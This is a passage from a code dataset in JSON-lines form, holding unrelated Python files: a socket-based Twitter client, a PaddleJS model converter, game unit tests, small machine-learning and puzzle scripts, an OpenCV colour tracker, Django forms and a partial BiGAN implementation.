- only one hashtag should exist\n if not len(tag_list) == 1:\n print(\"Only one hashtag is allowed\")\n return\n # check subscribe count is not 0\n if subscribe_count > 0:\n # create a diction to be sent the server\n dict_unsub = {'command' : 'unsubscribe', 'hashtag': tag_list[0], 'username' : username}\n # encode the message dict with pickle\n data_unsub = pickle.dumps(dict_unsub)\n ## send the encodeded message data to the server\n sock.sendall(data_unsub)\n print('Unsubscribe request sent to the server')\n ## get the confirmation from the server that the message was recieved\n print('Waiting for response from server for the unsubscription..')\n while len(unsub_queue) < 1:\n pass\n print(\"Received a response from the server for the unsubscribe request\")\n server_response = unsub_queue[0]\n unsub_queue = []\n # check the server response if the unsubscribe request was validated\n if server_response['validation'] == 'unsubscribed':\n print(\"SUCESS: Unsubscribed to the hashtag \" + hashtag)\n tag_subscriptions.remove(tag_list[0])\n subscribe_count -= 1\n removeFromTimeline(tag_list[0])\n elif server_response['validation'] == 'sub_does_not_exist':\n print(\"ERROR: No active subscription exists for the hashtag \" + hashtag)\n elif server_response['validation'] == 'not_subbed_to_anything':\n print(\"ERROR: No active subscriptions available.\")\n\n print('You are now subscribed to: ' + str(subscribe_count) + ' hashtags')\n print('Here are the hashtags you are subscribed to: ' + str(tag_subscriptions))\n else:\n print(\"ERROR: the hashtag specified is not in the active hashtag subscriptions or no hashtags subscriptions exist: \" + str(tag_subscriptions))\n return\n\n\n\"\"\" \n@hashtag: helper method to remove tweets containing a single hashtag from unsubscribe()\n\n\"\"\"\ndef removeFromTimeline(hashtag):\n global timeline_tweets\n deleted = False\n tweetsToDelete = []\n #print(\"Initial timeline before deletion: \" + str(timeline_tweets))\n for tweet in timeline_tweets:\n if hashtag in tweet['tags']:\n if len(tweet['tags']) == 1:\n #print('only one hashtag in timeline, removing: ' + str(tweet))\n tweetsToDelete.append(tweet)\n elif len(tweet['tags']) > 1 and not deleted:\n #print('more than one hashtag in tweet, removing only once: ' + str(tweet))\n tweetsToDelete.append(tweet)\n deleted = True\n #print('tweets marked for deletion: ' + str(tweetsToDelete))\n for tweet in tweetsToDelete:\n if tweet in timeline_tweets:\n timeline_tweets.remove(tweet)\n #print('final timeline for debugging: ' + str(timeline_tweets))\n\n\n\n\"\"\" \n@timeline_cli: helper method to handle a timeline command from the user\n\n@sock: the client's socket that it will use to communicate with the server\n\"\"\"\ndef timeline_cli(sock):\n global username\n global timeline_tweets\n # display the user's timeline\n if len(timeline_tweets) == 0:\n print(\"No tweets in timeline.\")\n else:\n # print(\"\\nlength of timeline: \" + str(len(timeline_tweets)))\n print(\"Timeline: \")\n for tweet in timeline_tweets:\n tags = ''\n for tag in tweet['tags']:\n tags += '#' + tag\n print('Client: ' + username + ', Sender: ' + str(tweet['user']) + ', tweet: ' + str(tweet['message']) + ', hastags: ' + tags)\n # clear the timeline so that next time new tweets will be displayed\n timeline_tweets = []\n return\n\n\"\"\" \n@exit_cli: helper method to handle an exit command from the user\n\n@sock: the client's socket that it will use to communicate with the server\n\"\"\"\ndef exit_cli(sock):\n global username\n # the dict that will send the request to the server\n dict_exit = {'command' : 'exit', 'username' : username}\n # encode the dict to be sent\n data_exit = pickle.dumps(dict_exit)\n # send the encodeded message data to the server\n sock.sendall(data_exit)\n print('Good bye...')\n # close the socket\n sock.close()\n # close the client\n exit(0)\n return\n\n\"\"\" \n@validate_listify_hashtag: helper method that will put the inputted hashtags into a list\n\n@hashtag: hashtags that are going to added to a list of hashtags that will be sent to the server\n\"\"\"\ndef validate_listify_hashtag(hashtag):\n # validate the hashtag\n if not hashtag[0] == \"#\":\n print('Hashtag must begin with a #. Exiting.')\n return []\n # split hashtag by # and filter out empty values\n hashtag_list = hashtag.split('#')\n # remove first and last empty strings in list due to split()\n hashtag_list = hashtag_list[1:len(hashtag_list)]\n # if more than 8 hashtag units or when splitting a # appears in the list,\n # or empty hashtag or > 25 characters, or tag is not alphaneumeric, fail and return back to main\n for tag in hashtag_list:\n if len(hashtag_list) < 9 and len(tag) == 0:\n print('ERROR: A # can not be followed by another # without at least one character seperating it (i.e. ## is invalid).')\n return []\n if len(hashtag_list) > 8:\n print('ERROR: Hashtag count exceeds maximum of 8 units.')\n return []\n if len(tag) > 25:\n print('ERROR: hashtag is longer than 25 characters. Must be between 1 and 25 characters long.')\n return []\n if not tag.isalnum():\n print('ERROR: hashtag \"' + str(tag) + '\" must be alphanumerical.')\n return []\n #print('successful parsing of hashtag list: ' + str(hashtag_list))\n return hashtag_list\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\nsys.exit(0)\n","sub_path":"Simplified Twitter Client/Programming Assignment 2/ttweetcli.py","file_name":"ttweetcli.py","file_ext":"py","file_size_in_byte":18487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"34261750","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport json\nimport paddle.fluid as fluid\nimport paddle\nimport numpy as np\nimport collections\nimport math\nimport sys as sys\nimport os\nimport struct\n\n#常量控制\n#抽样打印数据数量\nlogDataCount = 50\n\n# 输入模型所在目录\nmodelDir = \"humanseg/\"\n# 输入模型名\nmodelName = \"model\"\n# 输入参数名,当且仅当所有模型参数被保存在一个单独的二进制文件中,它才需要被指定,若为分片模型,请设置为None\nparamsName = None\n# 模型feed shape\ninputShape = (1, 3, 192, 192)\n# 输入数据\ninputData = np.full(inputShape, 1, \"float32\")\n# 输出模型目录\noutputDir = \"../dist/model/humanseg/\"\n# 权重分片扩展名\nextensionName = \".dat\"\n# 输出各var数据\noutputVarData = False\n\n# 确认fluid的版本号\nprint(paddle.__version__)\n\n# 采样输出list数据,采样的个数logDataCount为常量\ndef stridePrint1(data):\n dataCount = len(data)\n stride = math.floor(dataCount / logDataCount)\n if stride == 0:\n stride = 1\n nums = []\n # outputCount = logDataCount\n # if dataCount < logDataCount:\n # outputCount = dataCount\n # for i in range(outputCount):\n # # nums.append(str(i) + \": \" + str(data[i]))\n # nums.append(data[i])\n \n for i in range(0, logDataCount):\n item = data[i * stride]\n nums.append(str(i * stride) + \": \" + str(item))\n print(nums)\n\ndef stridePrint(tensor):\n length = len(tensor)\n# if length < 3000:\n# print(tensor)\n# return\n size = 20\n stride = math.floor(length / size)\n if stride == 0:\n stride = 1\n size = math.floor(length / stride)\n nums = []\n for i in range(0, size):\n item = tensor[i * stride]\n nums.append(str(i * stride) + \": \" + str(item))\n print(nums)\n\n\n\n\n# 对字典进行排序,返回有序字典,默认升序\ndef sortDict(oldDict, reverse = False):\n # 获得排序后的key list\n keys = sorted(oldDict.keys(), reverse = reverse)\n orderDict = collections.OrderedDict()\n # 遍历 key 列表\n for key in keys:\n orderDict[key] = oldDict[key]\n return orderDict\n\n\n# 将权重数据分片输出到文件,默认分片策略为按4M分片\ndef sliceDataToBinaryFile(weightValueList, sliceMethod = 0):\n # TODO: 分片这里不太对,待修改\n totalWeightCount = len(weightValueList)\n countPerSlice = 0\n # sliceCount = 0\n if sliceMethod == 0:\n # 分片策略 0:按4M分片\n countPerSlice = int(4 * 1024 * 1024 / 4)\n # sliceCount = math.ceil(totalWeightCount / countPerSlice)\n else:\n # 分片策略 1:按<=4M等分\n # TODO: 待实现\n countPerSlice = 0\n # sliceCount = 0\n\n if not os.path.exists(outputDir):\n os.makedirs(outputDir)\n currentChunkIndex = 0\n currentWeightIndex = 0\n\n while currentWeightIndex < totalWeightCount - 1:\n remainCount = totalWeightCount - currentWeightIndex\n if remainCount < countPerSlice:\n countPerSlice = remainCount\n chunkPath = outputDir + 'chunk_%s' % (currentChunkIndex + 1) + extensionName\n file = open(chunkPath, 'wb')\n for i in weightValueList[currentWeightIndex : currentWeightIndex + countPerSlice]:\n byte = struct.pack('f', float(i))\n file.write(byte)\n file.close()\n currentWeightIndex = currentWeightIndex + countPerSlice\n currentChunkIndex = currentChunkIndex + 1\n # for debug\n print(\"第\" + str(currentChunkIndex + 1) + \"片权重输出完毕,输出个数:\" + str(countPerSlice) + \" 剩余个数:\" + str(totalWeightCount - currentWeightIndex))\n\n # for debug\n print(\"========权重输出完毕,共\" + str(currentWeightIndex) + \"个数据,\" + str(currentChunkIndex) + \"个分片文件\" + \"========\")\n\n# 处理fluid的OP type与PaddleJS的OP type不对应情况\ndef mapToPaddleJSTypeName(fluidOPName):\n if fluidOPName == \"batch_norm\":\n return \"batchnorm\"\n return fluidOPName\n\n\n# 将shape扩充为4维\ndef padToFourDimShape(shape):\n fourDimShape = []\n if len(shape) == 4:\n fourDimShape = shape\n elif len(shape) < 4:\n for i in range(0, 4 - len(shape)):\n fourDimShape.append(1)\n fourDimShape = fourDimShape + shape\n else:\n return []\n return fourDimShape\n\n\n# for debug,将NCHW排布的数据转为NHWC排布的数据\ndef convertNCHW2NHWC(data, shape):\n fourDimShape = padToFourDimShape(shape)\n N = fourDimShape[0]\n C = fourDimShape[1]\n H = fourDimShape[2]\n W = fourDimShape[3]\n print(fourDimShape)\n HXW = H * W\n CXHXW = C * H * W\n index = 0\n nhwcData = []\n for n in range(0, N):\n for h in range(0, H):\n for w in range(0, W):\n for c in range(0, C):\n nhwcData.append(data[n * CXHXW + c * HXW + h * W + w])\n index = index + 1\n return nhwcData\n\n# for debug 输出特定varName对应的数据\ndef writeTempOutputData(name):\n # FIXME:待完善\n return\n dataList = np.array(fluid.global_scope().find_var(name).get_tensor()).flatten().tolist()\n path = '/Users/bluebird/baidu/fluid_tools/check-temp/filter.txt'\n if os.path.exists(path):\n os.remove()\n file = open(path,'a')\n for a in range(0, len(dataList)):\n file.write(str(dataList[a]))\n file.write(\",\")\n file.close()\n\ndef convertToPaddleJSModel():\n # 1. 初始化fluid运行环境和配置\n exe = fluid.Executor(fluid.CPUPlace())\n [prog, feed_target_names, fetch_targets] = fluid.io.load_inference_model(dirname=modelDir, executor=exe, model_filename=modelName, params_filename=paramsName)\n out = exe.run(prog, feed={feed_target_names[0]: inputData}, fetch_list=fetch_targets, return_numpy=False)\n print(out)\n \n index = 0\n # 存放模型结构\n modelInfo = {\"vars\": [], \"ops\": []}\n # 存放var信息(未排序)\n varInfoDict = {}\n # 存放权重数值(未排序)\n weightValueDict = {}\n\n # 2. 获取program中所有的var,遍历并获取所有未排序的var信息和权重数值\n vars = list(prog.list_vars())\n for v in vars:\n # 跳过feed和fetch\n if \"feed\" == v.name:\n continue\n if \"fetch\" == v.name:\n continue\n\n print(\"Var index:\" + str(index) + \" name:\" + v.name)\n print(v)\n index += 1\n\n varShape = list(v.shape)\n\n # FIXME:start paddlejs 不支持shape中为-1,这里需要手动过滤一下,支持了以后可以删除\n varShapeExcludeNegativeOne = []\n for s in varShape:\n if s == -1:\n continue\n varShapeExcludeNegativeOne.append(s)\n varShape = varShapeExcludeNegativeOne\n # FIXME:end\n\n # 存放variable信息,在dump成json时排序\n varInfo = {}\n varInfo[\"shape\"] = varShape\n # 数据是否是持久化数据,如weight为持久化数据,op的output不是持久化数据\n # 只输出持久化数据,paddlejs中也仅读取持久化数据\n varInfo[\"persistable\"] = v.persistable\n varInfoDict[v.name] = varInfo\n \n # for debug,输出var变量\n if outputVarData:\n writeTempOutputData(v.name)\n\n # persistable数据存入weightDict,等待排序\n if v.persistable:\n data = np.array(fluid.global_scope().find_var(v.name).get_tensor()).flatten().tolist()\n weightValueDict[v.name] = data\n\n # 3. 对var信息dict,按照key(var名)进行字母顺序排序\n varInfoOrderDict = sortDict(varInfoDict)\n\n # 4. 将var信息按照顺序,添加到model info的vars中\n for key, value in varInfoOrderDict.items():\n value[\"name\"] = key\n modelInfo[\"vars\"].append(value)\n \n # 5. 对权重数值dict,按照key(权重名)进行字母顺序排序,并组合到一起\n weightValueOrderDict = sortDict(weightValueDict)\n weightValues = []\n for key, value in weightValueOrderDict.items():\n weightValues += value\n \n # 6. 分片输出权重\n sliceDataToBinaryFile(weightValues)\n\n # 7. 获取program中所有的op,按op顺序加入到model info\n ops = prog.current_block().ops\n feedOutputName = None\n for op in ops:\n opInfo = {}\n\n # 获取OP type,需要映射到PaddleJS的名字\n opInfo[\"type\"] = mapToPaddleJSTypeName(op.type)\n \n # 获取OP input\n inputs = {}\n for name in op.input_names:\n value = op.input(name)\n if len(value) <= 0:\n continue\n if value[0] == feedOutputName:\n # FIXME:workaround,PaddleJSfeed 输入必须是image,且为单输入\n # 这里修改feed后面的OP的input为image,建立前后关联\n # 这里可能会有问题\n inputs[name] = [\"image\"]\n else:\n inputs[name] = value\n opInfo[\"inputs\"] = inputs\n \n # 获取OP output\n outputs = {}\n for name in op.output_names:\n value = op.output(name)\n if len(value) <= 0:\n continue\n if op.type == \"feed\":\n # FIXME:workaround,PaddleJSfeed 输入必须是image,且为单输入\n # 这里可能会有问题\n feedOutputName = value[0]\n outputs[name] = [\"image\"]\n else:\n outputs[name] = value\n opInfo[\"outputs\"] = outputs\n\n # 获取OP attribute \n attrs = {}\n for name in op.attr_names:\n # 过滤不需要的参数\n if name in [\"op_callstack\", 'col', 'op_role', 'op_namescope', 'op_role_var']:\n continue\n value = op.attr(name)\n attrs[name] = value\n opInfo[\"attrs\"] = attrs\n\n # 存入modelInfo \n modelInfo[\"ops\"].append(opInfo)\n\n # 8. 模型信息按照key字母顺序导出到json\n outputModelPath = outputDir + \"model.json\"\n with open(outputModelPath, 'w') as outputFile:\n json.dump(modelInfo, outputFile, indent = 4, separators=(\", \", \": \"), sort_keys = True)\n\n print(\"========模型结构输出完毕========\")\n\nconvertToPaddleJSModel()\n","sub_path":"tools/toWebModel.py","file_name":"toWebModel.py","file_ext":"py","file_size_in_byte":10280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"619839492","text":"import unittest\r\nimport pygame\r\nimport birds\r\nimport pipes\r\nimport points\r\nimport window\r\nimport coins\r\n\r\n\r\nclass PointsTest(unittest.TestCase):\r\n\r\n def test_string_convert(self):\r\n self.point = points.Point([0, 0])\r\n self.screen = pygame.display.set_mode((0, 0))\r\n self.point.draw(52, self.screen)\r\n self.assertEqual(self.point.point0_image, self.point.number['0'])\r\n self.assertEqual(self.point.point1_image, self.point.number['5'])\r\n self.assertEqual(self.point.point2_image, self.point.number['2'])\r\n\r\n\r\nclass PipesTest(unittest.TestCase):\r\n\r\n def test_gap(self):\r\n self.pipe = pipes.Pipe([0, 0])\r\n self.assertEqual(self.pipe.rect.top - self.pipe.rect_rotated.bottom, 135)\r\n\r\n\r\nclass BirdTest(unittest.TestCase):\r\n\r\n def setUp(self):\r\n self.bird = birds.Bird([0, 0])\r\n\r\n def test_jump(self):\r\n self.bird.jump()\r\n self.assertEqual(self.bird.speed_y, -5)\r\n\r\n def test_image(self):\r\n self.bird.speed_y = 3\r\n self.bird.falling()\r\n\r\n self.assertEqual(self.bird.image, self.bird.images['mid'])\r\n self.bird.speed_y = 2.4\r\n self.bird.falling()\r\n\r\n self.assertEqual(self.bird.image, self.bird.images['down'])\r\n self.bird.speed_y = -3\r\n self.bird.falling()\r\n self.assertEqual(self.bird.image, self.bird.images['up'])\r\n\r\n def test_collision(self):\r\n self.pipe = pipes.Pipe([0, 0])\r\n self.bird.check_collision(self.pipe.rect)\r\n\r\n\r\nclass WindowTest(unittest.TestCase):\r\n\r\n def test_collision(self):\r\n self.bird = birds.Bird(([0, 0]))\r\n self.coin_list = [coins.Coin([0, 0])]\r\n self.coins = 0\r\n self.bg_game_over = window.Background('sprites/game_over.png', 'sprites/game_over.png', [0, 0], [0, 0])\r\n self.coins = window.collision_detection(self.bird, [], self.coins, self.coin_list, self.bg_game_over)\r\n self.assertEqual(self.coins, 1)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"test_flappybird.py","file_name":"test_flappybird.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"319132398","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 4 12:32:15 2019\n\n@author: pravin\n\"\"\"\n#import required libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#import the dataset\n\ndata = pd.read_csv('Position_Salaries.csv')\nX = data.iloc[:,1:2].values\ny = data.iloc[:,2].values\n\n#fitting the dataset into decision tree regressor model\n\nfrom sklearn.tree import DecisionTreeRegressor\nregressor_dcr = DecisionTreeRegressor(random_state=0)\nregressor_dcr.fit(X,y)\n\ny_pred = regressor_dcr.predict(X)\n \nprint(regressor_dcr.score(X,y_pred))\n\nposition = float(input(\"Please enter for which position you want to know salary :\"))\nprint(regressor_dcr.predict(np.array(position).reshape(1,-1)))\n\n#visualtizion for the decision tree regressor\nX_grid = np.arange(min(X),max(X),0.01)\nX_grid = X_grid.reshape((len(X_grid),1))\nplt.scatter(X,y,color='r')\nplt.plot(X_grid,regressor_dcr.predict(X_grid),color='b')\nplt.title(\"Position VS Salary\")\nplt.xlabel(\"Position Level\")\nplt.ylabel(\"Salary Amount\")\nplt.savefig(\"DTR.png\")\nplt.show()\n\n\n\n\n","sub_path":"Decision Tree Regression/Decision_Tree_Regression.py","file_name":"Decision_Tree_Regression.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"522927016","text":"#REFERENCES\n#Title: Django ModelForm label customization\n#Author: QUHO\n#Date: 2016 june 10\n#Code version: unknown\n#URL: https://stackoverflow.com/questions/20986798/django-modelform-label-customization\n#Software License: Creative Commons Attribution-ShareAlike\n#\n\n\nfrom django import forms\nfrom masterdata.models import Emailtemplate, client, Representative\nfrom django.contrib.auth.models import User\nclass templateForm(forms.ModelForm):\n class Meta:\n model = Emailtemplate\n fields = ('title', 'shortDescription','subject', 'contentTemp', 'state')\n widgets = {\n 'title' : forms.TextInput(attrs = {'class': 'form-control'}),\n 'shortDescription' : forms.TextInput(attrs = {'class' : 'form-control'}),\n 'subject' : forms.TextInput(attrs = {'class' : 'form-control'}),\n 'contentTemp' : forms.Textarea(attrs = {'class' : 'form-control'}),\n 'state' : forms.TextInput(attrs = {'class' : 'form-control'}),\n }\n labels = {\n \"title\": \"Template Title:\",\n 'shortDescription' : \"Short Description:\",\n 'subject' : \"Email Subject:\",\n 'contentTemp' : \"Email Body:\",\n 'state' : \"Relevant state (e.g., VA):\",\n }\n\nclass UserForm(forms.ModelForm):\n class Meta:\n model = User\n fields = ('first_name', 'last_name', 'email')\n widgets = {\n 'first_name' : forms.TextInput(attrs = {'class': 'form-control'}),\n 'last_name' : forms.TextInput(attrs = {'class': 'form-control'}),\n 'email' : forms.TextInput(attrs = {'class': 'form-control'}),\n }\nclass ProfileForm(forms.ModelForm):\n class Meta:\n model = client\n fields = ('State','representatives')\n widgets = {\n 'State' : forms.TextInput(attrs = {'class': 'form-control'}),\n }\n representatives = forms.ModelChoiceField(queryset=Representative.objects.all().order_by('state'))","sub_path":"nutboxcivic/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"44753553","text":"import time\n\nstart = time.clock()\ndef gen_pent(n):\n return n*(3*n - 1)/2\n\n\ndef next_partfunc(listin):\n\n n = len(listin)\n total = 0\n m = 1\n loop = 1\n test = gen_pent(m)\n\n while test <= n:\n sign = (-1)**(abs(m)-1)\n index = int(gen_pent(m))\n total = int(total) + int(sign)*int(listin[n-index])\n loop = loop + 1\n\n if loop % 2 == 0:\n m = -1 * (loop/2)\n else:\n m = (loop + 1)/2\n\n test = gen_pent(m)\n\n listin.append(total)\n\n return listin\n\n\ndef num_combos_2(list, size,total):\n\n #a = [[0] * size for i in range(total+1)]\n a = [[0] * (total+1) for i in range(size)]\n\n for i in range(0,size):\n a[i][0] = 1\n\n for j in range(1,total+1):\n if j % list[0] == 0:\n a[0][j] = 1\n else:\n a[0][j] = 0\n\n for i in range(0,size):\n for j in range(1,total+1):\n if j < list[i]:\n a[i][j] = a[i-1][j]\n else:\n a[i][j] = a[i-1][j] + a[i][j-list[i]]\n\n return a[size-1][total]\n\n\n\nparlist = [1]\n\n\nn = 1\nwhile True:\n parlist = next_partfunc(parlist)\n if parlist[n] % 1000000 == 0:\n break\n n = n + 1\n\n if n % 100 == 0:\n print(\"Loop number \" + str(n))\n\nprint(parlist[n])\nprint(n)\n\n\nend3 = time.clock()\n\nprint(\"Generating function time = {} seconds\".format(round(end3 - start, 7)))\n\nprint(num_combos_2([i+1 for i in range(n)], n, n))\n\n\nend2 = time.clock()\n\nprint(\"Dynamic programming loop time = {} seconds\".format(round(end2 - end3, 7)))\n\n\n\n\n\n#n = 1\n#divisor = 100\n#while num_combos_2([i+1 for i in range(n)], n, n) % divisor > 0:\n\n# if n % 100 == 0:\n# print(\"Loop \" + str(n))\n\n# n = n + 1\n\n\n#print(n)\n\n\n","sub_path":"P78 coin partitions.py","file_name":"P78 coin partitions.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"238321218","text":"import argparse\nimport itertools as it\nimport random\n\nparser = argparse.ArgumentParser(description='Create random sequences')\nparser.add_argument(\"-s\", required=True, dest=\"sequence\", help=\"The input sequence\")\nparser.add_argument(\"-c\", dest=\"count\", type=int, help=\"Count of results\", default=1)\nargs = parser.parse_args()\n\nseq = args.sequence\nfor i in range(args.count):\n print(''.join([seq[random.randint(1, len(seq)) - 1] for x in range(len(seq))]))","sub_path":"Ex04/wuerfeln-cBinder.py","file_name":"wuerfeln-cBinder.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"334289114","text":"import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture(\"tracking.mp4\")\n#Hàm lấy giá trị số khung hình trên 1 giây (FPS)\nfps = cap.get(cv2.CAP_PROP_FPS)\n#Tính thời gian hiển thị 1 khung hình (ms/hình)\ndelay_time = 1000/fps\nprint(fps)\n\n\n\ndef min_red(value):\n min_red.value = value\nmin_red.value = 0\ndef min_green(value):\n min_green.value = value\nmin_green.value = 15\ndef min_blue(value):\n min_blue.value = value\nmin_blue.value = 0\ndef max_red(value):\n max_red.value = value\nmax_red.value = 115\ndef max_green(value):\n max_green.value = value\nmax_green.value = 255\ndef max_blue(value):\n max_blue.value = value\nmax_blue.value = 35\n\n\n\ncv2.namedWindow(\"Tracking\")\ncv2.createTrackbar(\"Min_RED\",\"Tracking\",0,255,min_red)\ncv2.createTrackbar(\"Min_GREEN\",\"Tracking\",0,255,min_green)\ncv2.createTrackbar(\"Min_BLUE\",\"Tracking\",0,255,min_blue)\n\ncv2.createTrackbar(\"Max_RED\",\"Tracking\",255,255,max_red)\ncv2.createTrackbar(\"Max_GREEN\",\"Tracking\",255,255,max_green)\ncv2.createTrackbar(\"Max_BLUE\",\"Tracking\",255,255,max_blue)\n\nplay = True\nwhile True:\n if play:\n ret, img = cap.read()\n if ret == False:\n break\n\n cv2.imshow(\"Video\", img)\n\n #Tạo khoảng giá trị màu được chọn\n min_color = np.array([min_blue.value,min_green.value,min_red.value])\n max_color = np.array([max_blue.value,max_green.value,max_red.value])\n\n #Những pixel có giá trị màu thuộc khoảng sẽ gán = 1 (màu trắng), còn lại bằng 0 (màu đen)\n mask = cv2.inRange(img,min_color,max_color)\n\n #Khử nhiễu (Trong bài bộ lọc 1_Filter)\n kernel_matrix = np.ones((3,3))\n mask = cv2.erode(mask, kernel_matrix)\n\n #Tăng vùng đối tượng được chọn\n mask = cv2.dilate(mask, kernel_matrix)\n\n #Lấy hình ảnh đơn kênh ghép thành 3 kênh\n mask_main = cv2.merge((mask,mask,mask))\n\n #Dùng toán tử logic bit AND để giữ nguyên màu\n result = cv2.bitwise_and(img,mask_main)\n\n\n cv2.imshow(\"Mask\",mask)\n cv2.imshow(\"Result\",result)\n\n if cv2.waitKey(int(delay_time)) == ord(' '):\n play = not play\n if cv2.waitKey(int(delay_time)) == ord('q'):\n break\ncv2.destroyAllWindows()","sub_path":"7_Denoising.py","file_name":"7_Denoising.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"407619869","text":"class Solution(object):\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n result = [0]*len(nums)\n left = [0]*len(nums)\n right = [0]*len(nums)\n\n prod = 1\n for i in range(len(nums)):\n left[i] = prod\n prod *= nums[i]\n\n prod = 1\n for i in range(len(nums)-1, -1, -1):\n right[i] = prod\n prod *= nums[i]\n\n for i in range(len(nums)):\n result[i] = right[i]*left[i]\n\n return result\n\n\nnums = [1, 2, 3, 4]\n# Output: [24, 12, 8, 6]\n\nsol = Solution()\nprint(sol.productExceptSelf(nums))\n","sub_path":"Leetcode/238.Product_of_Array_Except_Self.py","file_name":"238.Product_of_Array_Except_Self.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"484339431","text":"import os\nfrom tqdm import tqdm\nimport numpy as np\nimport itertools\nimport matplotlib.pyplot as plt\n\nfrom torchvision.utils import save_image\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nimport torch.autograd as autograd\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom model.basic import BasicModel\n\n\nclass BiGAN(BasicModel):\n def __init__(self, config, train_flg=True):\n super(BiGAN, self).__init__(config, train_flg)\n\n # self.discriminator_loss = torch.nn.BCELoss()\n self.discriminator_loss = torch.nn.BCEWithLogitsLoss()\n # self.adversarial_loss = torch.nn.BCELoss()\n self.adversarial_loss = torch.nn.BCEWithLogitsLoss()\n \n self.encoder = Encoder(self.config)\n self.decoder = Decoder(self.config)\n self.discriminator = Discriminator(self.config)\n\n \n if self.cuda:\n self.discriminator_loss.cuda()\n self.adversarial_loss.cuda()\n \n self.encoder.cuda()\n self.decoder.cuda()\n self.discriminator.cuda()\n\n def train(self, dataset):\n # Optimizers\n self.optimizer_G = torch.optim.Adam(\n itertools.chain(\n self.encoder.parameters(), \n self.decoder.parameters()\n ),\n lr=self.config.train.lr,\n betas=(self.config.train.b1, self.config.train.b2)\n )\n self.optimizer_D = torch.optim.Adam(\n self.discriminator.parameters(),\n lr=self.config.train.lr,\n betas=(self.config.train.b1, self.config.train.b2))\n\n # tensorboard callback\n self.writer = SummaryWriter(os.path.join(self.output, 'log'))\n\n self.running_loss_g = 0\n self.running_loss_d = 0\n\n dataloader = dataset.dataloader(tensor=self.Tensor)\n for epoch in tqdm(range(self.config.train.n_epochs), total=self.config.train.n_epochs, desc='Epoch', leave=True):\n for batch in tqdm(dataloader, total=len(dataloader), desc='Bath'):\n imgs = batch.reshape(-1, self.img_shape[-2], self.img_shape[-1])\n # Adversarial ground truths\n \n valid = Variable(self.Tensor(imgs.shape[0], 1).fill_(1.0), requires_grad=False)\n fake = Variable(self.Tensor(imgs.shape[0], 1).fill_(0.0), requires_grad=False)\n real_imgs = Variable(imgs.type(self.Tensor))\n \n self.optimizer_G.zero_grad()\n \n encoded_imgs = self.encoder(real_imgs)\n decoded_imgs = self.decoder(encoded_imgs)\n \n g_loss = self.adversarial_loss(self.discriminator(encoded_imgs.detach(), real_imgs), valid)\n g_loss.backward()\n self.running_loss_g += g_loss.item()\n \n self.optimizer_D.zero_grad()\n \n z = Variable(self.Tensor(np.random.normal(0, 1, (imgs.shape[0], self.config.struct.latent_dim))))\n \n real_loss = self.adversarial_loss(self.discriminator(z, self.decoder(z).detach()), valid)\n fake_loss = self.adversarial_loss(self.discriminator(encoded_imgs.detach(), decoded_imgs.detach()), fake)\n \n d_loss = 0.5 * (real_loss + fake_loss)\n d_loss.backward()\n self.optimizer_G.step()\n self.running_loss_g += g_loss.item()\n \n if epoch % 10 == 0:\n save_path = '/root/weights'\n torch.save(self.encoder.state_dict(), os.path.join(save_path, f'encoder_{self.name}_{epoch}'))\n torch.save(self.decoder.state_dict(), os.path.join(save_path, f'decoder_{self.name}_{epoch}'))\n torch.save(self.discriminator.state_dict(),\n os.path.join(save_path, f'discriminator_{self.name}_{epoch}'))\n self.tensorboard_callback(epoch, len(dataloader))\n self.writer.close()\n\n\nclass Encoder(nn.Module):\n def __init__(self, config):\n super(Encoder, self).__init__()\n self.config = config \n self.model = nn.Sequential(\n nn.Conv2d(1, 64, 4, 2, 1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(64, 128, 4, 2, 1, bias=False),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(128, 256, 4, 2, 1, bias=False),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(256, 512, 4, 2, 1, bias=False),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(512, 512, 4, 1, 0, bias=False),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Flatten()\n )\n self.mu = nn.Linear(512, self.config.struct.latent_dim)\n self.logvar = nn.Linear(512, self.config.struct.latent_dim)\n\n def forward(self, img):\n x = self.model(img.unsqueeze(1))\n mu = self.mu(x)\n logvar = self.logvar(x)\n z = self.reparameterization(mu, logvar)\n return z\n\n def reparameterization(self, mu, logvar):\n std = torch.exp(logvar / 2)\n sampled_z = Variable(self.config.Tensor(np.random.normal(0, 1, (mu.size(0), self.config.struct.latent_dim))))\n z = sampled_z * std + mu\n return z\n\n\nclass Decoder(nn.Module):\n def __init__(self, config):\n super(Decoder, 